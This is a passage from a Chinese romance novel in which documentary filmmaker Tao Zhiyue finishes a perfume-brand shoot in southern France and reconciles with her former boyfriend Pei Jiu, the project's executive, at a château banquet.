他问陶织悦的具体去向,聂乐言摇摇头。
听说联系不上陶织悦,聂乐言也打了几个电话,依旧无法接通。
聂乐言的神情也严肃起来,说裴究要是有了新消息一定告知她。
裴究点点头,一无所获地离开亚罗卡。
街上已经没什么人。
这条路延伸出去就是医院,他当初在这里回绝了她的和好暗示。因为他担心无法留在国内,所以不敢给她一个承诺。
绿化带的叶子已经掉得光秃秃,只剩干巴的树杈暴露在凉夜中。
他走得很慢,步伐渐渐和记忆中那次漫步重合,只是身边缺少一个同行人。
道不明的空虚将他与世界隔离,像个游魂一样拖着躯体,行走。
原来抽身离去是这么残忍的事。
裴究倏然站定,心脏不安地鼓动。
当年的他的离开,留给她的也是这样的一地黄花。她也这样无助,迷惘吗?
他以为自己已很辛苦,却没想到被迫留在原地的煎熬也是这么磨人。他还是太自大。
是的,不管怎么做,他都觉得欠她一份应得的安好。
他总觉得自己无能。
18. 火车旅途
五人起了个大早,坐在旅馆大厅吃早饭。
三明治中间夹着金枪鱼配橄榄,是典型地中海风味。桌子中央还摆着一大盘沙拉,不过鲜有人去动。
代替了小朱的法国女人叫玛戈特,端着一杯咖啡闯入。
她似乎没有预料到这一幕,站在门口定了一下才进来。
“早,女士。”陶织悦已经吃完,坦然地打了个招呼。
“早。”玛戈特迟疑地发了不太标准的一个音。
陶织悦抿出一个客套的笑,问:“不知道送我们出发的车什么时候到?”
玛戈特端着咖啡杯,从容地喝了一口,又低头看看表。
“现在早,还要晚点车来。”她的中文蹩脚,但不影响大致意思的表达。
“可是,我们之前谈的时间没有这么晚吧?”
玛戈特挑眉:“那是之前,不是现在。”
陶织悦缓慢地起身,走到她面前:“女士,我们的时间很宝贵,如果耽搁太久,不好向上面交代。”
这个法国女人嗤笑一声,丝毫不把几人放在眼里。她伸手整理自己的丝巾,漫不经心道:“我不是司机,跟我说没有用。”
确实没用。
话已至此,陶织悦点点头,转过身去。
一时间,收到信号的四人从椅背、柜后、桌下取出自己的行囊,利落地带上。
玛戈特愣住,面对这个变故,只能游疑地看向陶织悦。
陶织悦:“小朱没有说安排车来接我们,我只是随口说的。”
所以今天早上,她们根本没有想让他们顺利离开。
“不过现在……”陶织悦微微一笑。
她向前一步,把手搭在玛戈特肩上,将玛戈特往旁边推,清出一条路来。
“现在也不劳你费心了,我们昨晚已经买了火车票,现在要去搭火车了。”
话毕,五人依次从玛戈特身旁走过,向着街上去。玛戈特在身后用法语说着什么,语气很急,但没人听懂,也没人在意。
旅馆离火车站不远,过几条街就到。
他们买票订了比较早的一班车,现在离发车时间已经不早,只能小步跑着。
“好刺激,我们在逃跑吗?”阮沂背着包兴冲冲地跟在陶织悦后面。
“这是胜利的长征。”米菲开玩笑。
“幸好昨晚留了个心眼,提前买了火车票,不然今天就只能待在马赛了。”陶织悦接过米菲的手机看地图,一边引着三人。
不对,怎么是三人?
陶织悦猛一回头,扫视一圈。
“路元州呢?”
由于他太过安静,大家已经习惯他默默无闻的存在感,一时间竟然没发现他掉队了。
“他最好还在火车站。”赵骁皱起眉,把包塞到米菲手里,“你们先上车,我去找他。”
陶织悦默许,先带着两人检票上车。
车厢内十分拥挤,三人从车厢一头挤到另一头,对照着数字找座位。
她们身上大包小包,里面都是重要的设备,时不时碰到别人,只能用现学的法语道歉。
费了半天劲,终于坐下。
米菲喘着粗气,她的东西最沉,还帮忙拿了赵骁的东西,给她累得够呛。
阮沂一落座就趴在窗边,在站台的人流里找那两人的身影。
“马上停止检票了,不知道他们进来没。”她嘟嚷着,脸都要贴到玻璃上。
陶织悦已经拿了米菲的手机打去电话,但火车站人声嘈杂,一直没有被接通。
火车即将开动,三人像热锅上的蚂蚁一样焦灼。
在最后半分钟,高大的赵骁终于拎着路元州出现在站台。
路元州抱着自己的录音包,面上惊魂未定,还没来得及说话,就被赵骁推搡着上了车。
陶织悦松了口气。
还好都顺利上车了。
火车开动着向前驶去,沿途的风景往后倒退。
她有些疲惫,转而去问阮沂:“森德瑞那里有回信了吗?”
昨晚她们不仅计划着买了火车票,还向森德瑞总部发去了反馈情况的邮件。
发邮件前,阮沂的指间停滞在按键上空,犹豫着问:“我们是发给之前对接的合同负责人,还是他的上级?”
她们找小朱要到了森德瑞内部的邮箱渠道,能联系到项目最顶头的那位国内代理人——据说是个中国人。
米菲看了一眼陶织悦,又转回来说:“发给上级吧。”
陶织悦点点头。
她们猜测,空降的接待团队应该是在代理人不知情的情况下塞进来的。或许正是代理人的对家呢?
最好直接一步到位换回小朱,让她们的项目能顺利结束,代理人也能顺利完成KPI,皆大欢喜。
阮沂点开邮箱,摇摇头。
或许高层们都很忙呢?陶织悦见过裴究打工的作息,可以说是很敬业的一个社畜了。说不定正处理着其他事项,再等等吧。
虽然未来尚且无知,但她们在这个早晨已经出发在路上。
陶织悦撑着下巴,搭在窗边。
火车开出一片山峦,金色的阳光洒进车厢,面前的视野也随之变得开阔。湛蓝的海水波光粼粼,匀润深邃。
车上的游客们忍不住发出些轻盈的慨叹,欣喜和兴奋在车厢里悄然弥漫。
“卧槽,这风景真好。”
国粹一出,引得几人都抬头看去。虽然声音不大,却在像石子丢进池子一样激起周围一圈窃笑。
这时他们一行人才发现,车厢里竟然有半数以上都是中国人。
除了零零散散的游客,还有一个到法国出差的歌舞团。
老乡见老乡,气氛活络起来。
不知道谁先起了头,有歌声从角落传出来,随后像波浪般一层层荡开,一下子填充整个空间。
陶织悦没有听过这首歌,但曲调很欢快,歌词里夹着“时间”、“大海”之类的词汇。
一车陌生人凑在一起。胆大外向的加入歌唱的队伍;安静点的微笑着听,随着节拍轻晃身体;看热闹的把手机举得高高的,试图把所有人框进镜头。
一回头,米菲已经取出摄影机,捕捉了这快活的一瞬间。
陶织悦的疲惫消散,只觉得心上渐暖。
看吧,世界这么这么大,歌声可以到达任何一个角落。
*
夜半十二点,已是新的一天。
床上的人蓦地睁开一对惨白的眼。卧室里唯一的光线是荒凉的月光,斜斜地切入。
他手肘一撑,坐起来。
裴究记得抽屉里有一罐褪黑素。他拉开柜屉,伸手去探,摸出一个白色小罐子。
他拧开
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盖子,几粒小药片落在掌心,一股脑塞进嘴里。
月光在摇摆的窗帘上跳动。他抓住窗帘,视线落到飘窗上的吹风机。
发愣地盯了几秒,后知后觉地拾起来。
她湿漉漉地站在面前,眼睛也亮亮地望着他。这个场景一旦出现在脑海,就再也赶不走。
心底的不安越发嚣张,将空洞越啃越大,他不由地握紧那个吹风机。
唰——窗帘被猛地一拽,阻断了一切光明,屋里只剩下静悄悄的黑。
裴究陷进被与床之间。
褪黑素渐渐起效,昏沉之中,他做了个不可控制的梦。
血液烧得沸腾,灼烧着他,将他熔化,化作另一种形态。
他好像变成了一辆失控的列车,只能横冲直撞着、没有方向地驰骋在一望无际的荒原上。不断前进、不断前进、不断前进……
原野上不知什么时候下起细雨,绿芜湿润得沁出水,越来越多。他经过时,便一股股地吐出更多水,甚至飞溅出来。
前方是通向山顶的上坡,初阳在顶峰透出亮得刺目的光,温暖而潮湿,照得他一阵发抖。
那光点愈发接近,他跌跌撞撞地冲上山巅,视线里只剩下极致的茫白。
天亮了。意识回笼的时候,他喘着粗气,浑身发烫,发觉身上有处怪异的凉湿。
真是见鬼了。裴究颤着手捂住额头,久违地感到了一点难为情。
他从床上起来,转身就进了卫生间。
十分钟后,他走出来,换了一身宽松的家居服,神情已经清明冷淡。
浅灰色的布料轻盈,隐约被底下的膨鼓支起轮廓。
毛巾搭在肩上,一端被他抓在手里,擦拭着发顶淌下来的水。
一滴水侥幸逃脱,划过他微蹙着的眉头,顺着高挺的鼻梁滑下来,落到地上。
他俯身,单手去捞落在床上的手机,划开翻工作消息。
昨天,他暂时推后了一些工作,花了大半的时间去寻找陶织悦的蛛丝马迹,却没什么发现。
他出神地想,回忆他去过的地方,回忆陶织悦离开前几天的异常,回忆他去到她空空的家,还碰到了她的邻居大婶。
大婶见了他,只说陶织悦好久没回来了,走的时候还念叨着什么“难怪看不上别人”。
她去哪了?
走神间,指尖在手机上点着,蹦出来一条陌生的邮件。
署名是“指月人间团队”。
他慢慢将思绪拢回正轨,想起来这是拍摄宣传片的团队。
他粗粗扫过一眼,大概就是他们的对接团队被换了,影响了拍摄效率和进程。
裴究的脸色略沉下来,眉蹙得更紧,眼神也带上几分冷意。
项目的运转繁琐,诸多流程的落实他无法一个个去盯,因此只是交给下面的人去办。
他向下属拨去电话,并要来了项目相关的合同和计划书。
几分钟后,一个个文件发送过来。
鼠标移动,点开。
电脑屏幕的蓝光映入他眼,同时跳到他面前的,还有那个名字。
陶织悦。
他几乎是一瞬间,就在密密麻麻的文字间抓到了这个名字。
他悬在半空的心,须臾间落地了。
找到了。
原来他一直在找的她,就在他身边。
19. 想见你
格拉斯的住所也是森德瑞提前定好的。
陶织悦一行人到达后的下午,玛戈特一行人也到了。两方人见面都没什么好脸色,只是各干各的。
隔天早上,陶织悦团队打算上雪山拍摄,不巧的是阮沂提前来了月经。
小姑娘脸色煞白,圈着肚子缩在椅子上,微微发抖。
陶织悦去问是否有止痛药,被玛戈特无视了。她倚在门边,把玩自己的美甲,全然没有给她一个眼神。
“我没事。”阮沂面无血色,声音有点颤。
米菲端来一杯热水,塞到她手里。
几人商量着让她留在小镇休息,便扛着设备上山了。
出师不利的不止这一件事,今天的模特也迟到了。
他们脚下的这片山坡尚且绿草如茵,远处的山脉已经盖上皑皑白雪,灰黑的山岩和白洁的素装相间分布,很有视觉冲击。
米菲挂掉电话,摇摇头说:“模特说路上碰到意外,怕是过不来了。”
赵骁和路元州已经架好了设备,听见这话,都停下了手中的活。
此刻太阳还没有出来,凉飕飕的风在山间呼啸。
他们打算拍摄日照金山的效果,就必须抓住日出那一刻的机会。
时间不等人。
陶织悦抓紧身上的棉衣,和几人对上眼神。
只能这样了。
他们早有准备,但没想到还是用上了planB。
陶织悦脱下身上的棉衣,寒凉的风瞬间裹住她的身体,所有的毛孔也被刺激得缩起来。
厚重的棉衣下是一身热烈的红裙。
和前方的雪景叠在一起,像冰天雪地里绽开的一朵娇艳的红玫瑰。
这个镜头只需要一个背影,因此陶织悦可以做个替身。
她往前走,跟着米菲的指挥走向山崖边。
走了二十几步,她立住。
脚边七八米是万丈深渊,可以看到谷底蜿蜒的曲度。悬空的高度让人有种想要跳下去的冲动。
陶织悦压力大的时候,偶尔会选择去蹦极消遣,但显然两者有着本质区别。
风将她的发丝和裙摆向后梳去,拢出一个曼妙美好的弧度。
摄影机后的米菲私心多拍了几段,喊道:“这个位置可以!一会儿太阳出来就走到那里。”
听到米菲的肯定,陶织悦提着裙摆跑回来。
冷!太冷了!她冻得牙齿都在打战。
赵骁把她的棉衣递过来,她火速裹在身上,身体还在发抖。
“怎么样?”她最关心拍摄的效果,探头去看摄影机里的画面。
米菲一手搭上她的肩,一手竖起个大拇指。
“我觉得你以后不拍了,也可以当个模特。”
陶织悦笑着给她一拳:“那我要拍一辈子,你们也跑不掉,得一直给我打工。”
嘻嘻哈哈间,一束金芒从山间透出,直直打在山坡上,为霜雪、岩壁镀上一层璀璨的金边。
“太阳出来了!”赵骁大喊一声。
陶织悦立马剥下身上的厚衣,提起裙摆朝前面走去。
米菲大喊着“3、2、1——”,每一个字都踩在她扑通扑通的心跳上。
她紧张地跑到定点,深吸一口气,缓步向前走去。
面前的巨山磅礴,顷刻间由纯粹的白变得金光熠熠。一点红裙渺小而艳丽,在金山下炽热地飘舞。
山间风起,比前一刻更大,呼啦啦地吹起她的裙发,让她有种将要乘风而去的错觉。
这样宏大的景致扑面而来,热泪盈眶的感触也来得突然。
她无数次,无数次在旅途中被自然的瞬间打动。
耳边只能听到贯耳的风声,以至于米菲的喊声也被吞没。
陶织悦听不到米菲的信号,不敢擅自离开,即使身体被吹得僵硬也没有动弹。
结果如何了?她竖起耳朵去听米菲的声音,在风声里捕捉到一点嘁促的声响。
那声音像草木擦地,又像脚步。
她没有转头,只是等着那动静的降临。
身后像有什么人站定了,随后肩上一沉,踏实的暖意就这样抚慰身体。
令她意想不到的——有人就这样安静地给她披上了衣服。
是一件厚实的灰黑色毛呢大衣,沉甸甸的,搭在身上很有分量。
她抓住衣边,转过身去,迎面撞上男人带着笑意的眼睛。
他的眼下有些疲惫的暗沉,不说话,却有掩饰不住的欣喜从眼里跑出来。
“裴究。”她愣愣地叫了一声。
跨越上千公里,半个大陆,他就这样荒唐地出现在她面前。
“早上好。”他语气很温和,甚至有几分柔情。
她还没回过神,冰凉的手被他握在掌心,熨得暖洋洋。
“风大,走吧。”
陶织悦就这样任由他牵引,怀着满腹震惊而说不出一句话。
也许是她呆滞的样子太过有趣,裴究笑得也越发放肆,藏也藏不住。
恍惚间他们已经离开山崖边,回到了摄影机旁边。
米菲和赵骁互看一眼,笑问:“不给我们介绍一下这位?”
“他……”陶织悦嘴快过脑子,转过去看着裴究,话又卡在嘴边,“他是……”
前男友?电动车受害者?普通朋友?
她在这几样选择中踌躇了几秒,没有挑出一个答案。
“我是森德瑞这个项目的负责人。”裴究慢条斯理地掏出工牌。
话音一落,周围都噤声。
“也是……她的朋友。”他又补上一句。
接过吻的那种朋友。
听到后半句,大家又略微放松下来。
“你们还有其他拍摄计划吗?”
米菲的眼睛定在他们连在一起的手上,又挪回来:“还打算拍一些小片段,不过只需要我们几个人就行了。”
裴究又侧头去征求她的意见。
陶织悦还有一堆问题要问,自然顺着他下山。
她提着裙摆走着,隐约听到后面几人的窃笑,但已经无暇搭理。
“你冷吗?”陶织悦发现他只穿了那件黑色的毛衣。
他刚想开口说不冷,临出口又掉了个头,说道:“有点冷。”
他低头,看着陶织悦在裙摆下翻,变戏法似的掏出一条红围巾。
裴究认得,那是他们第一次见面,她戴着的那条。
他被她藏围巾的动作逗笑,又被她嗔怪地瞪一眼。
陶织悦有点窘,带着手上的力道也大了点,红围巾紧紧将他的肩颈缠住,包得严实。
“你怎么找过来了?”她一边整理围巾一边问。
“可能是因为电话打不通吧,我找不到她。”他垂眸,盯着那双在脖颈作乱的手。
“她手机刚来第一天就被摔坏了,不是故意的。”她抬头,无辜地眨眼。
“倒是你,你竟然是森德瑞的人,怎么不告诉我?”
前男友荣升金主,这个变化叫人脑补一出恨海情天的不正经戏份。
“你也没有告诉我,你在给森德瑞做事,叫我好找,以为你人间蒸发了。”
“保密协议不是你们公司要求签的吗?”陶织悦觉得好笑,把矛头抛回去。
裴究噎住,没找
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到反驳的话。
脚下的绿草逐渐变成石砖,他们已经回到这个位于山谷的温暖小镇。
“你从阮沂那里知道我们在山上的?”
“嗯,”裴究点头,“我把玛戈特调走了。”
“那个姓朱的女孩,我想要她继续负责这件事。”陶织悦站住,认真地看他。
这是她第一次坚定地提出要求。裴究没想到她对这件事这么上心。
裴究点头:“她本来就应该是这个项目的负责人。看来她做得不赖,让你这么关心她。”
“这个机会本来就是她的。”
陶织悦知道被人夺走机会的痛苦。
多年前,她蹲守在少数民族聚集地几个月,带着一支文化短片初出茅庐,颇有反响。
她本以为能摘得那年的“互联网创作新星奖”,没想到却和荣誉擦肩而过。
大半年后,她才知道奖项颁给了一位大导演的孩子。
尽管舆论偏向她,最终的结果还是不了了之,从此成为她内心的一根刺。
幸运的是,她因此结识了阮沂、米菲、赵骁几个人,以及被赵骁拉入伙的路元州。
这一路冷暖自知,若有能力,她也想为后辈撑起一把伞。
“那你,”陶织悦装作不在意地试探道,“千里迢迢来一趟法国,就为了处理项目的事吗?”
她的心乱跳,没有章法地跃动。冻僵的肢体又渐渐活络起来,她的手躲在他的大衣下,局促地搓在一起。
面前的男人先轻笑了一声。
“你想要哪一种答案?”
“如果是作为森德瑞项目的最高负责人,我会告诉你:我在公司的对家对项目动手脚,我要亲自坐镇,防止再出意外。”
“宣传片是业务最后一环,等你们几天后拍摄结束,庆功宴也需要我出席。”
他顿一下,郑重地下定决心。
“如果是作为裴究,我会告诉你……”他一副破罐子破摔的样子,“我想见你,我想马上见到你,等不了。”
陶织悦从他剔透的虹膜里,看到一个小小的自己倒映在里面。那个小人静静地站着,又呆又乖地望着自己,有点像那张旧照片里的她。
“我没有隐瞒,你心里也有答案。”
肩上的大衣向下滑,就要落下肩头。裴究立马抓住那件宽阔的衣服,细心拢好。
“陶织悦,你对自己就这么没有信心吗?”他的手还搭在她肩上,是一个难以逃避的动作。
陶织悦只觉得喉咙发紧,像被什么吊起了嗓子。
“可是你上次……”她声音越来越小。
在医院外拒绝了她。她怎么敢再来一次?她本来就是个胆怯的人。
“是我没有准备好,是我太自大了。”他连忙打断,眼神闪烁,“那时候我担心项目不成功,我就无法留在国内,也无法给你一个稳定的未来。”
“但是你说得对,只靠一个人是走不了两个人的路的。”
他忘了,忘了陶织悦也是个有自己力量和选择的人。在他来到法国打拼又升职的这几年,她也一样没有闲着。
她是新人导演,是知名账号博主,是森德瑞选中的合作对象。
即使他们蒙着眼睛出发,最终还是会在同一个点汇合。
起风了。一阵风穿过大街小巷,吹动街道上空的灯笼,吹得隔壁店铺的铃铛叮当响。
清脆的铃铛声中,她身上那件大衣彻底滑落,露出内里明艳的裙装,和他戴着的那条红围巾一起飘曳着。
“等到初雪降临的日子,你能再问我一遍那个问题吗?”
火红的裙摆映在他眼里,挥之不去。
20. 庆功宴
在格拉斯剩下的日子里,一切都很顺利。
她们的拍摄很快结束,剩下的就是剪辑和后期。
几人聚在一起讨论,房间里进进出出,消耗了一杯又一杯咖啡,就这样商议了几天。
几轮的修改、调整,最终在一个星期后向森德瑞总部交去了成片。
“指月人间”的正片计划着和森德瑞的宣传片同步上线,但阮沂已经在社媒平台上发了一点花絮。
大概是一些法国本土的风景照,香水博物馆的相关影像,还有工作团队在休息间隙的模糊合照。那张合照的角度非常凌乱,一看就是拍摄者随手偷拍的。
不用说,陶织悦也知道是阮沂的手笔。
她继续往后划,最后一张图是她和裴究在山上的背影图。
一个黑衣,一个红裙,背景是金色的雪山。两人都没有露出脸,但身姿挺拔、气质出尘,颇有点“佳偶天成”的意味。
陶织悦点开账号后台,翻阅评论区。最引起大家注意的,果然是那张双人合影。
【懒惰鸽子精】:消失了这么久,团队里进新人了?
【社交方块】:哇哇哇照片里的红裙女生是小助理吗?
【sunsun】:小助理在小号辟谣了,说这是头儿姐!
【叽里咕噜说什么呢】:没露过面的头儿姐吗?不管了先99
最后一个评论里搭了一楼整齐的99。
小助理指的是阮沂。账号大部分时候是她在运营,合作业务也是她负责对接,因此开了小号,也常用小号和大家互动。
化妆师正为她盘头,细细梳理出一个发髻。
今晚是森德瑞的庆功宴,举办地定在了一所庄园里。
她准备的是一条一字肩香槟色鱼尾礼服,面料挺括有光泽,在柔光下流溢着细闪。
配饰是一对简约的珍珠耳钉,藏在发间若隐若现,足以点缀起整个造型。
陶织悦端正地坐着,任由化妆师摆弄她。
“又偷拍我,我要收费了。”她忽然打破安静。
阮沂和米菲笑嘻嘻地从门边探出脑袋,米菲手里还端着一个小相机。
“我们明明躲在门后面,你怎么发现的?”阮沂摸不着头脑,顶着蓬蓬裙在房间里左顾右盼,看到陶织悦面前的化妆镜,又了然。
“我们来是叫你一起走的,车已经在外边了。”米菲一身咖色正装套装,干练利落。
陶织悦起身:“走吧。”
她刚走了几步,有些不稳地搀了下旁边的米菲。她在化妆师的建议下选了双香槟色的小高跟,但她穿着有些不习惯。
一行人上了门外的黑色轿车。车子一路驶向城郊,像一道黑色的闪电。
高大的楼房渐渐远去,郁郁葱葱的雪松围上来,遮住天光。残阳渐渐下沉,天际线是一望无际的平。
待落地的时候,已是夜幕降临,华灯初上。
宴会在庄园的城堡里。会客厅的水晶吊灯令人眼花缭乱,烛火折射出绚彩。头发灰白的创始人站在中央的台子上,进行了一段无聊的开场白。
一个个流程依次汇报下来,中间向参宴人员放映了她们的成片,又大致介绍了她们。除此之外再没什么有趣的事。
陶织悦一向不喜欢入耳式耳机,总觉得有不可忽视的异物感。她伸手调整佩戴的实时翻译耳机,勉强好受一点。
演讲结束,是自由社交的晚宴。
席上大多是一些冷菜和甜点。应侍生端着盘子经过,陶织悦顺手拿了一杯葡萄酒,充当礼仪作用。
她沾酒就醉,没打算喝。
刚要离开,一个中年男人就叫住了她。
他身材矮胖,脑袋上的棕发有点稀疏,还有大大的鹰钩鼻,具有典型的法国人特征。
由于语言上的壁垒,他将她的名字念得很有嚼劲。
“我看了你的片。”
他嘴上勾着一个笑,但笑不达眼,有点僵硬。
“拍得不怎么样。”
“毕竟入驻中国本来就是个错误,在错误的土地上长不出合格的花。森德瑞本来是法国传统品牌,为了出口却改换概念和配方,实在是忘本。”
“很可惜,我这个老家伙已经没有能力阻止它的堕落了。”
周围一片觥筹交错,没有人留意到这个角落的情况。
他的语气很温和,好像只是随机找了个小辈闲聊。要不是陶织悦察觉到他眼里的不善,还要怀疑是不是耳麦出了错。
如此敌意,他或许就是裴究提到过的对家。
陶织悦要说话,然而她不会法语,对方也没有翻译耳麦。
即便如此,她还是决定展现一下自己的态度。
“这位……不知道怎么称呼的先生,如果我的片子真的这么不堪一击的话,森德瑞不会为此举办一场晚宴。”她正色道。
“时代在变化,中国市场是森德瑞不落后、向外走的必经之路,森德瑞也聪明地意识到了这点,并没有违背品牌‘香氛与时代共舞’的核心理念。”
“我想,真正忘本的另有其人。”
面前的法国男人听她叽里咕噜说了一通,有些不高兴。他没想到陶织悦会在语言不通的情况下坚持反驳他,转身就要走。
一串流利的法语把他牵在原地。
那语调不徐不疾,原模原样地把陶织悦的话翻译了一遍。
虞渔拖着蓝色的垂地长裙,从容地走到陶织悦身侧。
法国男人气得吹胡子瞪眼,嘴唇抖了几下,也没再说出话。
翻译完这些,她又上下扫视那男人,皱着眉摆出嫌弃的样子,慢慢补了一句。语气上下起伏,非常浮夸。
耳麦里传来一板一眼的机械音翻译:“老古板,你的西装都快盖不住你的大肚腩了,你是我见过品味最差的法国人。”
这下他彻底破防,红着脸离开了。
“真是脆弱的老男人,cheers。”她嘀咕着,碰杯庆胜。
清脆一响,透亮的酒液因碰撞而溢晃。
陶织悦已经不在意,只是惊喜地问:“你怎么在这?”
“我爹地是森德瑞的供应商啊,当然也受邀来参宴。”虞渔得意地笑,转头指指远处走进大厅的一群人,“他们回来了。”
陶织悦顺着那个方向看去,一群西装革履的男人中,那个高挑的身影尤为突出。
裴究穿着缎面的青果领礼服,整体深色的基调下搭配了一条香槟色的领带,低调优雅又不沉闷。
他是其中最年轻的面孔,神情肃穆端正,俨然有新贵气质。
话语间,他侧头向她看来,面容一点松动,竟然对着她眨了眨眼。
搞什么。陶织悦也眨眨眼。两人交换完信号,他又转身投入商业会谈。
虞渔拉着她说了会小话,点评宴席上各位的造型。她虽然年纪不大,对于时装却有一套自己的见解,说起来头头是道。
女乐手倾头抵住琴身,手上乐弓一拉,悠扬的
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小提琴声缓缓流泄,在大厅里转悠,跃动。
突然奏响的乐队吸引了所有人的目光。
“要跳舞了。”虞渔解释,有些难掩的兴奋。
她狡黠地笑:“我刚刚看上一个法国小帅哥,我先走了。”
虞渔提起裙摆,小步跑开,钻入已经四散的人群。
人们走动着,寻找自己的舞伴,或者一个凉快的角落。
陶织悦小心提着裙摆,差点撞上一位男士。
她用生疏的法语道歉,一转头又撞上一个。
这下是真磕到了。她痛呼一声,捂着脑袋,还不忘道歉。
“没关系。”男人熟悉的声音从头顶传来,尾音带着轻微的笑意。
她抬头,就看到裴究戏谑的神色。
她的头和他的下巴什么时候才能互斥。
“想试试吗?”他伸出一只手摊开在她面前。
陶织悦摇摇头:“我不会跳舞。”
“你可以把自己交给我,会很简单。”他轻摇手掌,像是挑逗,像是邀请。
陶织悦仍有疑虑,她踮起脚上那双小高跟,向裴究展示。
“我今天的鞋子踩人会很疼。”
没等她再说下一句,手已经被握住,往他的方向一带。
陶织悦踉跄了几步,另一只手也被趁乱抓住了。
“说了这么多,就是没说自己不想。”陶织悦的手被他握着捏了捏,“那些都不是问题。”
陶织悦被牵着踏到红地毯上,面前是高大的裴究,身后是一对陌生的舞伴。
她的右手被举过头顶,顺势转了个圈,另一只手搭在对方肩上。
裴究迈出一个步子,陶织悦就跟着往后撤一步。他退,她又进。
她的腰肢被对方牢牢把住,动作在舒缓的音乐下逐渐舒展。她有种恍惚的错觉,自己像一把伞,撑开,合上,又被握着伞柄旋转。
这个幼稚的幻想把自己逗笑,引得裴究也向她投来探究的目光。
她压低声音,不好意思地说:“我感觉我像一把伞。”
裴究几乎马上理解她的抽象,摆出一个无语的笑。
那眼神似乎在说:是不是对浪漫过敏。
话语间,陶织悦脚下疏忽,一脚踩在他的脚背上。
裴究眉头一跳,神色不变,但咬牙切齿:“故意的吗?”
“哦,抱歉。”她轻飘飘地揭过,假装没发生。
裴究没有说话,只是在下一组舞开始的时候,牵着她的手多转了两圈。
一曲结束,众人在音乐的间隙又回到桌前。
晚上吃了些法式甜点,陶织悦跳得口干舌燥,去桌上找水。
但只有酒。她握着那杯白葡萄酒,想着辛苦了这么久,今晚庆祝一下也无可厚非。
入口是一股略尖锐的酸意,扎着口腔的舌肉。随后一点回甘漫上来,充盈着香草的气息。
陶织悦被刺激得摇摇脑袋,她果然还是喝不惯。
这酒度数不高,滑入喉道没有过分上头,只是感觉血液上涌,有点热意蒸腾。
“你喝了?”裴究到达她身侧,嗅到淡淡的酒味。
“没水。”她简短解释,摆摆手,“有点热,我出去逛逛。”
正好她想看看庄园的景致,难得有这个机会,她得用尽力气体验,也不枉来了一趟。
她略提起裙摆,小步向外去,像一只腼腆的兔子,去寻找自己的草窝。
裴究跟了上去。
21. 玫瑰迷宫
走出古堡的大门,一排长长的石阶延伸向下,蔓延出一条石砖砌成的长廊。庄园里的雪松都挂上了小彩灯,像发光的果实。
陶织悦踩在坚硬的石阶上,脚被膈得疼。她索性把鞋子踢掉,赤脚踩地。
解放了的双脚轻盈点地,快活地跃下阶梯,带着扬起的裙摆向前跑去。
地上留下一对孤独的高跟鞋,乱七八糟地倒在地上。
追随者姗姗来迟,留意到遗落的物什,目光在上面掠过,俯身捡起。
或许是因为这俏皮的行径,他平静的面上闪过一点无奈的笑。
裴究迈步向前,在长廊尽头的亭子里找到了鞋子的主人。主人正蹲在角落里,蜷成一小团。
这亭子和整座古堡一样,都由黄白的大石块一块块垒成,经由百年风雨,屹立至今。陶织悦伸出一根手指,搭上那粗糙的石壁,细细感受纹路。
“有什么特别的?”他耐心问。
“这可是几百年前遗留下来的建筑!”她盯着那饱经风霜的弧度,又不好意思地干笑两声,“没看出有什么特别。”
陶织悦顺着高大的石柱,看见顶上有一盏明亮的油灯,在黑夜里打下一束温暖的光。
亭子变成了舞台,只为主角打上聚焦光束。
“你过来。”
陶织悦有点兴奋地抓住他的手,把他带到亭子中央。
她把他手上的鞋子丢到地上,自顾自地搭上他的肩膀,踩起舞步来。
“不是跳过了吗?”嘴上这么说,裴究还是轻车熟路地揽住她。
四周静悄悄,只有彼此的呼吸和脚下的步伐是唯一的声源。
陶织悦的脸颊漫上一点红润,随性地转了一圈。
“这里只有我们两个人,跳错了也不怕丢人。”
她放开了玩,动作的力度也越来越大。陶织悦转得晕乎乎,脚尖刚碰到地面,又被拖着离开。
她逐渐跟不上对方的步伐,只能把重心都交给对面的人,任由他颠来倒去地折腾。
怎么变成他玩她了?
陶织悦忿忿地推开他:“不跳了,不好玩。”
经过刚刚一顿动作,酒液好像在她胃里摇匀了,充分吸收渗入血液,搅得脑子一团乱。
她安静下来,转头,瞧见远处有一棵巨大的、被一大片灌木簇拥着的树。
“那是什么地方?”她扒在亭子边上,凑上去看。
裴究跟着看过去,回答:“玫瑰迷宫。据说是庄园主为了讨妻子高兴,用玫瑰种出来的一个小园子。”
那也太酷了。陶织悦指向那棵高大的树,显然不是玫瑰能长到的高度。
“那棵是什么?”
裴究挑眉,故意吊着她的胃口:“想不想亲自去看看?”
陶织悦确实有这个兴致。她提起裙摆,说走就走。
一路上种满了矢车菊和月季,但都已经过了花期,残留绿叶在冰凉的空气里摇曳。
酒精的热意渐渐退去,夜晚的寒凉后知后觉地涌上来。
陶织悦鼻子一酸,打了个喷嚏,胳膊上顿时起了一大片鸡皮疙瘩。
今晚的气温骤降,比她刚出发的时候冷了不少。
“我不想去了,外面好冷。”她畏缩着往后退,踩到后面那人的皮鞋上。
身后的男人弯下腰,将那双高跟鞋摆好,扶着她的后脚跟,为她穿上鞋子。
手上的茧有点粗糙,搭在肌肤上有着奇异的触感。被他触碰过的地方有什么魔力似的,有点痒有点热,顺着脊梁骨爬上来,让她不自觉绷直了小腿。
他又慢条斯理地去解外套扣子。陶织悦盯着他的指节在上面点来点去,下一刻,那件外套就落到了她身上。
若有若无的冷香透过布料逸散出来,细细地萦绕在她的嗅觉上。
“还去吗?”他低下头认真问她。
她的问题被尽数解决,没什么再阻止她出发。
陶织悦点点头,两人又向着那棵大树的方向去。
“你怎么知道那是玫瑰迷宫?你对这里很熟?”陶织悦反应慢半拍,自问自答,“哦,我忘了你在这里待了好几年。”
裴究不紧不慢地跟在她旁边,望着那棵树。
“很多年前来这里的时候,是作为除草工。”他淡淡地讲述过往。
“那时候生活费紧缺,所以什么活儿都干点。听说这里招人做兼职,我就在这里干了一段时间。工作很简单,就是修理这个玫瑰迷宫。”
突如其来的袒露,让她措手不及。
他终于愿意说了。
陶织悦轻松地摆出一个笑,想让气氛宽慰一些。
“你就算是除草,也会是除得最好的一个。”她比划着裴究的身板,划过他衬衫下饱满的双臂,“就像你能走出这个小小的园子,走到森德瑞总部,然后……”
然后,走到她身边。
得了她的调侃,裴究也有了一个浅浅的笑。
话语间,层层叠叠的玫瑰灌木已经近在眼前,足有一人高。
纵横交错的小径组成一个简易的迷宫,中心是那棵直径足能一人怀抱的大树,像一把绿伞。
胜利触手可得,陶织悦拉住裴究往小径上去,脚下甚至跑了起来。
她想起小时候玩的游戏。
